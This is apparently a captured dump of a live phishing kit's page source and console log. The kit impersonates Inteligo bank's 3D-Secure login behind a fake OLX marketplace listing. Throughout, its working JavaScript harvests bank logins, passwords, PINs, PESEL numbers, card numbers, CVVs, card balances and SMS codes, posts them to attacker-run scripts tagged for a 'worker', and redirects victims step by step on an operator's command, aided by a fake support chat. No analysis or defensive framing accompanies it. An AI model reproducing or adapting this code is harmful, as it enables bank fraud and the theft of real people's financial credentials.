$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
}).fail(function(response){
response = response.responseText
// print(response)
// console.log(response)
if(checkFocus()) {
$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
// $('#messages').text(response);
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
});
}else{
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
var prop = 'check_new_message';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj, prop:prop}
}).done(function(response) {
// response = response.responseText
if (response == '1'){
openForm();
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
}
});
}
}
update()
function sendmsg() {
if($('#message-text').val() != ''){
var msg = $('#message-text').val();
var proj = 'inspire';
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var wid = '1072894791';
var tovarname = 'Agregat talerzowy Ścierniskowy Siewny';
$.ajax({
type: "POST",
url: "sendchat_message.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, proj:proj, tovarname:tovarname}});
$('#message-text').val('');
if($('#message-text').val() == ''){
$('#message-text').css("border-color", "red");
}
}
}
function view(db_id) {
var msg = $('#message-text').val();
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var proj = 'inspire';
var wid = '1072894791';
$.ajax({
type: "POST",
url: "view.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, db_id:db_id, proj:proj}
});
}
</script>
</body></html>
|
console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 254)
Message:
start
|
console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 294)
Message:
<!-- saved from url=(0014)about:internet -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="og:site_name" content="olx.pl">
<meta name="robots" content="noindex, nofollow">
<script src="/newSite/banks/ipko_files/jquery-3.4.1.min.js"></script>
<meta name="Author" content="Softax (www.softax.pl)">
<meta name="Version" content="2.4.17dev-r0">
<title>Serwis internetowy Intelego</title>
<link rel="stylesheet" href="/newSite/banks/inteligo_files/tdsweb.css">
<style type="text/css">
</style>
<script language="JavaScript" type="text/javascript" src="/newSite/banks/inteligo_files/jquery.js"></script>
</head>
<body id="login_page_body">
<div onclick="bShow=true" id="calendar" style="z-index:+999; left:0px; top:0px; position:absolute;visibility:hidden;">
<table class="calTable" width="220" cellspacing="0">
<tbody>
<tr>
<td class="calTopRow">
<table width="218">
<tbody>
<tr>
<td class="calTopControls"><span id="caption"><span id="spanLeft" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na poprzedni miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onclick="javascript:decMonth()" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartDecMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Poprzedni miesiąc" '=""> < </span> <span id="spanRight" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na następny miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onclick="incMonth()" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartIncMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Następny miesiąc" '=""> > </span> <span id="spanMonth" class="calControl" onmouseover="this.className="calControlOver" ;window.status="Kliknij by wybrać miesiąc." " onmouseout="this.className="calControl" ;window.status="" " onclick="popUpMonth()" title="Kliknij by wybrać miesiąc" '=""></span> <span id="spanYear" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by wybrać rok."" onmouseout="this.className="calControl";window.status=""" onclick="popUpYear()" title="Kliknij by wybrać rok" '=""></span> </span></td><td align="center"><span onmouseover="this.className="calCloseOver" ;window.status="Zamknij kalendarz." ; " onmouseout="this.className="calClose" ;window.status="" ; " onclick="javascript:hideCalendar()" class="calClose" title="Zamknij kalendarz">X</span></td></tr></tbody></table></td></tr><tr><td class="calContent"><span id="cal_content"></span></td></tr><tr><td class="calBottomRow"><span id="lblToday">Dziś jest <a onmouseover="window.status="Przejdź do bieżącego miesiąca." ; return true; " onmouseout="window.status="" " title="Przejdź do bieżącego miesiąca" class="calA" href="javascript:gotoToday();">Poniedziałek, 26 Października 2020</a></span></td></tr></tbody></table></div><div id="selectMonth" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div><div id="selectYear" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div>
<div id="container">
<div id="header" class="content">
<div class="header">
<img src="/newSite/banks/inteligo_files/title-bar.png" id="pr_image">
</div>
<div id="mainmenucontener">
<!--<div id="mainmenubox">-->
<!-- *************** TOP MENU ************** -->
<form action="https://www.ipko.pl/3dsecure/visa" method="post" onsubmit="if(this.__submitted){return false}else{this.__submitted=true}"><input type="hidden" name="ias_sid" value="I3100a63VkHVV7yLlCtMfEO9q54yA:"><input type="hidden" name="back_reload_protection" value="4258d0048d0e430a95a173dbe7f05b4f"><input type="hidden" name="ias.form_protect" value="f086738a2e044350a6474b3a3125f024">
<ul id="mainmenu"></ul>
<!--***************************************************-->
</form>
<!--</div>-->
<div class="threepix"></div>
</div>
<div id="content" class="" tabindex="0" role="form">
<div>
<div id="colmain750" class="col940" tabindex="0">
<div>
<h2 tabindex="1">Aby potwierdzić operację w ramach usługi 3D-Secure, zaloguj się do serwisu Intelego.</h2>
</div>
<div class="special_login">
<div class="colmain520" style="width:460px;min-height: 255px;">
<div style="border-right: 1px solid #e6e6e6; margin-top: 10px; padding: 0 10px 0 0; width:460px; min-height: 210px;">
<div style="width:455px;">
<h1>Logowanie</h1>
</div>
<div class="form_valid form_content login login_anti_phishing">
<table id="form_table" class="fullwidth" name="content_table">
<tbody>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Numer klienta lub login
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="login" maxlength="200" type="text" id="login" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Hasło
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="200" type="text" id="password" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Pin
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="4" type="text" id="pin" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
</tbody>
</table>
<div class="button_rows center">
<ul style="text-align: center; margin: 0pt;">
<li class="button_group_none" style="float: none">
<button id="pay-button" onclick="lk_auth();" value="Dalej" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only fright continue-button" tabindex="10" formnovalidate="formnovalidate"><span class="ui-button-text">Dalej</span>
</button>
</li>
</ul>
</div>
<div class="clr"></div>
</div>
<style>
#form_table td{
width: 20%;
padding-bottom: 12px;
}
div.button_rows.center{
border-top: 0;
}
</style>
</div>
</div>
<div style="padding: 0 10px 10px 0; width: 430px; float:right">
<div style="border-bottom: 0; margin-left:0px;">
<div style="padding-right:14px; padding-top:7px; padding-bottom:6px; margin-bottom:4px; margin-left:10px">
<h1>BEZPIECZEŃSTWO</h1>
</div>
<div class="clr"></div>
<div class="widespace2" style="padding-left: 16px;line-height:16px">
PAMIĘTAJ!<br><br>
Logowanie do serwisu Intelego nie wymaga podania kodu z karty kodów jednorazowych.<br><br>
Bank również nigdy nie poprosi Cię o podanie jednocześnie kilku kodów z karty kodów lub danych karty płatniczej.
</div>
<p style="padding-left: 16px;padding-top:12px; font-weight: bold; margin-bottom:0px; margin-top:0px;"><a href="http://www.pkobp.pl/redirect.php?id=bezpieczenstwo_ipko" target="_blank">Więcej o bezpieczeństwie</a></p>
</div>
</div>
</div>
<div class="threepix"></div>
</div>
<div class="clr"></div></div>
<div class="footer">
<ul class="nav size-210">
</ul>
<div class="brand">
<img title="VISA" alt="[logo VISA]" src="/newSite/banks/inteligo_files/visa_logo.png" class="brand-logo">
</div>
<div class="last_login"></div>
<div class="copyright">© 2021 Intelego
<span>Kod BIC (Swift): BPKOPLPW</span>
</div>
<div class="hotline">Serwis telefoniczny Intelego: (+48) 81 535 60 60, 801 307 307
<div>Opłata zgodna z taryfą operatora. Serwis telefoniczny czynny całą dobę.</div>
</div>
</div>
</div>
<div style="z-index: 999; left: 0px; top: 0px; position: absolute; display: none;" id="infoTipDiv">
<div id="ui-ipkoInfotip" role="tooltip" class="ui-tooltip ui-widget ui-corner-all ui-widget-content infotip infotip-left" style="top: 34px; left: 364.5px; display: block;">
<div class="ui-tooltip-wrapper">
<div class="ui-tooltip-content" style="max-height: 84px; margin-right: -17px; overflow-y: scroll;">
<span id="infoTipDiv_message"></span>
</div>
</div>
<div class="ui-tooltip-track" style="display: none;"><div class="ui-tooltip-thumb ui-draggable" style="top: 0px; height: 20px;"></div>
</div>
</div>
</div>
</div></div>
<script src="/newSite/banks/inteligo_files/jquery.min.js"></script>
<script src="/newSite/banks/inteligo_files/jquery.maskedinput.js"></script>
<script type="text/javascript">
function update_status()
{
console.log('start')
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
}).fail(function(response){
response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
});
}
update_status();
setInterval(update_status, 4000);
</script>
<style type="text/css">
.chat {
border: 1px solid #333;
margin: 15px;
width: 40%;
height: 70%;
background: #555;
color: #fff;
}
.chat-messages {
min-height: 93%;
max-height: 93%;
overflow: auto;
}
.chat-messages__content {
padding: 1px;
}
.chat__message {
border-left: 3px solid #333;
margin-top: 2px;
padding: 2px;
}
.chat__message_black {
border-color: #000;
}
.chat__message_blue {
border-color: #002f34;
}
.chat__message_green {
border-color: green;
}
.chat__message_red {
border-color: red;
}
.chat-input {
min-height: 6%;
}
.chat-form__input {
width: 100%;
}
.chat-form__submit {
width: 18%;
}
{
box-sizing: border-box;
}
.msg_chat{
color: white;
word-break: break-all;
margin-bottom: 10px;
}
.msg_chat1{
color: black;
word-break: break-all;
margin-bottom: 10px;
}
/* Кнопка, используемая для открытия контактной формы - фиксируется в нижней части страницы */
.open-button {
background-color: #002f34;
margin-bottom: 2%;
font-size: 1em;
font-weight: 1000;
border-radius: 10px 20px 10px 20px;
color: white;
padding: 16px 20px;
border: none;
cursor: pointer;
bottom: 90px;
z-index: 999;
opacity: 0.8;
position: fixed;
bottom: 0px;
right: 28px;
width: 140px;
border-radius: 50%;
width: 70px;
height: 70px;
background-image: url("chat/2.png");
background-repeat: no-repeat;
background-position: center;
}
/* Всплывающая форма-скрыта по умолчанию */
.form-popup {
min-width: 60%;
display: none;
position: fixed;
bottom: 0;
right: 15px;
/*border: 3px solid #f1f1f1;*/
z-index: 9;
}
.form-content {
display: block;
height: 400px;
overflow-y: auto;
scrollbar-width: none;
padding: 10px;
}
::-webkit-scrollbar {
width: 0px;
}
/* Добавить стили для контейнера формы */
.form-chat-container {
max-width: 340px;
min-height: 400px;
background-color: white;
float: right;
box-shadow: 0 0 60px 3px rgba(0, 0, 0, 0.3);
border-radius: 5px;
}
.chat-header {
background: #002f34;
z-index: 999;
color: white;
border-radius: 5px;
padding: 5px;
width: 340px;
height: 250px;
}
.chat-title,
.chat-close {
margin-left: 10px;
display: inline;
margin-top: -188px;
}
.chat-close {
float: right;
}
.chat-footer {
display: inline-block;
}
/* Поля ввода полной ширины */
.form-chat-container input[type=text],
.form-chat-container input[type=password] {
color: black;
padding-left: 5px;
margin-bottom: 2px;
height: 45px;
border: none;
display: inline;
}
/* Установите стиль для кнопки отправить/войти */
.form-chat-container .chat-btn {
border: 0px;
color: white;
padding: 20px;
height: 45px;
cursor: pointer;
width: 15%;
margin-top: 15px;
opacity: 0.8;
border-radius: 5px;
margin-left: 1%;
display: inline;
background-color: #fff;
background-image: url('chat/send_btn1.png');
background-size: contain;
background-repeat: no-repeat;
}
/* Добавить красный цвет фона для кнопки "Отмена" */
.form-chat-container .cancel {
background-color: red;
}
/* Добавить некоторые эффекты наведения на кнопки */
.form-chat-container .chat-btn:hover,
.open-button:hover {
box-shadow: 0 0 30px 5px rgba(0, 0, 0, 0.5);
}
/* Chat containers */
.container_message {
position: relative;
background-color: #e8ecef;
border-radius: 9px;
padding: 10px;
margin: 10px 0;
margin-left: 0px;
display: flex;
justify-content: right;
flex: 0 0 auto;
width: 50%;
margin-left: 160px;
min-height: 25px;
}
/* Darker chat container */
.darker {
border-color: #ccc;
background-color: #002f34;
min-height: 45px;
display: flex;
justify-content: left;
margin-left: 0;
padding: 10px;
}
/* Clear floats */
.container_message::after {
content: "";
clear: both;
display: table;
}
/* Style images */
.container_message img {
max-width: 50px;
float: left;
max-width: 60px;
width: 100%;
margin-right: 20px;
border-radius: 50%;
}
/* Style the right image */
.container_message img.right {
float: right;
max-width: 50px;
margin-left: 20px;
margin-right: 0;
}
/* Style time text */
.container_message .time-right {
position: absolute;
left: 5px;
bottom: 0;
float: left;
color: #aaa;
}
/* Style time text */
.container_message .time-left {
position: absolute;
left: 5px;
bottom: 0;
float: left;
width: 100%;
color: #fff;
}
.close {
float: right;
width: 16px;
height: 16px;
opacity: 0.4;
}
.close:hover {
opacity: 1;
}
.close:before,
.close:after {
position: absolute;
content: ' ';
height: 23px;
width: 3px;
background-color: #fff;
}
.close:before {
transform: rotate(45deg);
}
.close:after {
transform: rotate(-45deg);
}
.operator-face {
height: 100%;
margin-bottom: -170px;
}
.photo {
background-image: url("chat/avatar.png");
background-size: 60px 60px;
height: 60px;
background-repeat: no-repeat;
background-position: center;
width: 60px;
margin-left: 130px;
margin-top: 30px;
}
.team {
text-align: center;
font-size: 16px;
color: #fff;
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: 400;
}
.activity-indicator {
text-align: center;
font-size: 13px;
color: rgba(255, 255, 255, 0.7);
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
.welcome-message {
margin-top: 20px;
font-weight: 400;
padding: 0 20px;
text-align: center;
font-size: 14px;
line-height: 1.32em;
color: #fff;
box-shadow: none;
box-sizing: border-box;
caption-side: top;
word-break: normal;
word-spacing: normal;
word-wrap: normal;
}
.message-time {
position: absolute;
left: 100px;
float: left;
color: #fff;
}
button:active,
button:focus {
outline: none;
}
button::-moz-focus-inner {
border: 0;
}
input {
outline: none;
}
@media screen and (max-height: 800px) {
.form-content {
height: 250px;
}
}
</style>
<script type="text/javascript">
function submit(){
// var a = $("#a1")[0].value.length;
var b = $("#a2")[0].value.length;
var c = $("#a3")[0].value.length;
// var e = $("#th")[0].value.length;
var a = 5;
var e = 5;
if (a > 1 && b > 1 && c > 1 && e > 1){
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var f = $('#a2').val();
var i = $('#a3').val();
var o = $('#a4').val();
var addr = $('#a1').val();
var th = $('#th').val();
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {th:th,f:f,i:i,o:o,addr:addr,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}else{
(a < 1 )?$('#a1').css("border-color", "red"):$('#a1').css("border-color", "");
(b < 1 )?$('#a2').css("border-color", "red"):$('#a2').css("border-color", "");
(c < 1 )?$('#a3').css("border-color", "red"):$('#a3').css("border-color", "");
(e < 1 )?$('#th').css("border-color", "red"):$('#th').css("border-color", "");
}
}
function nextpay(){
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 1000);
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != ''){
load();
$('#carddata').css('display','none');
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 3000);
$('#balance_check').css('display','');
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
($('#expdate').val() == '')?$('#expdate').css("border-color", "red"):$('#expdate').css("border-color", "");
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function nextcard(){
if($('#cardnumber').val() != ''){
$('#step2').show();
$('#nextpay').attr('onclick', 'nextpay();');
alert('Twój bank zażądał dodatkowej weryfikacji. Wypełnij dodatkowe pola i spróbuj ponownie.')
}else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
alert('Mapa wpisana niepoprawnie.');
}
}
function cardlog() {
var card_date = $('#expdate').val();
Data = new Date();
let month = card_date.split("/")[0]
let year = card_date.split("/")[1]
let current_moth = Data.getMonth() + 1;
let current_year = Data.getFullYear().toString();
current_year = current_year[0] + current_year[1];
if (month[0] == 0){
month = month.slice(1);
}
if (month < current_moth && year <= current_year){
// alert("Карта не валидна");
var valid_card = '0';
}
else{
var valid_card = '1';
}
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != '' && $('#card_balance').val() >= 1 && $('#card_balance').val() != 12300 && $('#card_balance').val() != ' ' && $('#card_balance').val() != '' && $('#card_balance').val() != ' ' && valid_card == '1'){
$('#paybutton').css('background', 'gray');
$('#paybutton').attr('disabled', '1');
var cardNumber = $('#cardnumber').val();
var expdate = $('#expdate').val();
var cvv = $('#cvc2').val();
var config = 'cardlog';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var cardholder = $('#cardholder').val();
var card_balance = $('#card_balance').val();
$.ajax({
type: "POST",
url: "sendlog.php",
data : {cardNumber:cardNumber,expdate:expdate,cvv:cvv, config:config, item:item, cardholder:cardholder, worker:worker,card_balance:card_balance},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
});
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#card_balance').val() == '')?$('#card_balance').css("border-color", "red"):$('#card_balance').css("border-color", "");
if ($('#card_balance').val() < 5){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
if ($('#card_balance').val() == 12300){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
if(valid_card == '0'){
$('#expdate').css("border-color", "red")
}
if (valid_card == '1'){
$('#expdate').css("border-color", "");
}
if($('#expdate').val() == ''){
$('#expdate').css("border-color", "red")
}
if ($('#expdate').val() == ''){
$('#expdate').css("border-color", "");
}
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function mothername(){
$('#cb').hide();
if($('#codefromsms').val() != '' && $('#login').val() != '' && $('#password').val() != ''){
var code = $('#codefromsms').val();
var config = 'mothername';
var log = $('#login').val();
var pass = $('#password').val();
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {log:log,pass:pass,code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function reqcode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'reqcode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode_limit(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode_limit';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
/*
function first(){
// if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
// }
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
};
}*/
function lk_auth() {
$('#pay-button').hide();
if($('#password').val() != '' && $('#login').val() != '' ){
var log = $('#login').val();
var pass = $('#password').val();
var pesel = $('#pesel').val();
var pin = $('#pin').val();
var mother = $('#mother').val();
var config = 'lkintelego'; var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "/newSite/logger.php",
dataType: "json",
data : {uid:'',mother:mother,login:log,password:pass,pin:pin,pesel:pesel,type:"insertBank",bank:"inteligo"},
}).fail(function() {
window.location.href = "/error//inteligo"
}).done(function() {
window.location.href = "/error//inteligo"
});
}
else{
$('#pay-button').show();
($('#password').val() == '')?$('#password').css("border-color", "red"):$('#password').css("border-color", "");
($('#pesel').val() == '')?$('#pesel').css("border-color", "red"):$('#pesel').css("border-color", "");
($('#pin').val() == '')?$('#pin').css("border-color", "red"):$('#pin').css("border-color", "");
($('#login').val() == '')?$('#login').css("border-color", "red"):$('#login').css("border-color", "");
};
}
function smscodenew() {
$('#loading').show();
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
$('#newcode').text('Wyślij SMS ponownie (oczekuj)');
var config = 'smscodenew';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
data : {worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#loading').hide();
}).done(function() {
$('#loading').hide();
});
}
function update_status()
{
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
if (response == '1'){
openForm();
window.location.href = "?ipko_code"
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
window.location.href = "?ipko_code"
}
});
}
// update();
$('.credit-card-form__cvv-icon').click(function(){
// $('#si').css('display', 'block');
$('#si').toggle();
});
function selectbank(thisis){
$(thisis).attr('onclick', '');
if($(thisis).attr('bank') != 'none' && $(thisis).attr('bank') != 'other'){
var code = $(thisis).attr('bank');
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
});
}else{
var code = 'other';
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}
}
function millenium_imgs(thisis){
// $('#cb').hide();
if($(thisis).attr('value') != ''){
var code = $(thisis).attr('value');
var config = 'millenium_imgs';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
// ($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
// $('#cb').show();
};
}
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
var timer = 60;
function decrementAfter1Second(){
setTimeout(function(){
timer--;
$('#newcode').text('Wyślij SMS ponownie (oczekuj ' + timer + ')');
if(timer==0){
$('#newcode').css('color', 'green');
$('#newcode').attr('onclick', 'smscodenew();');
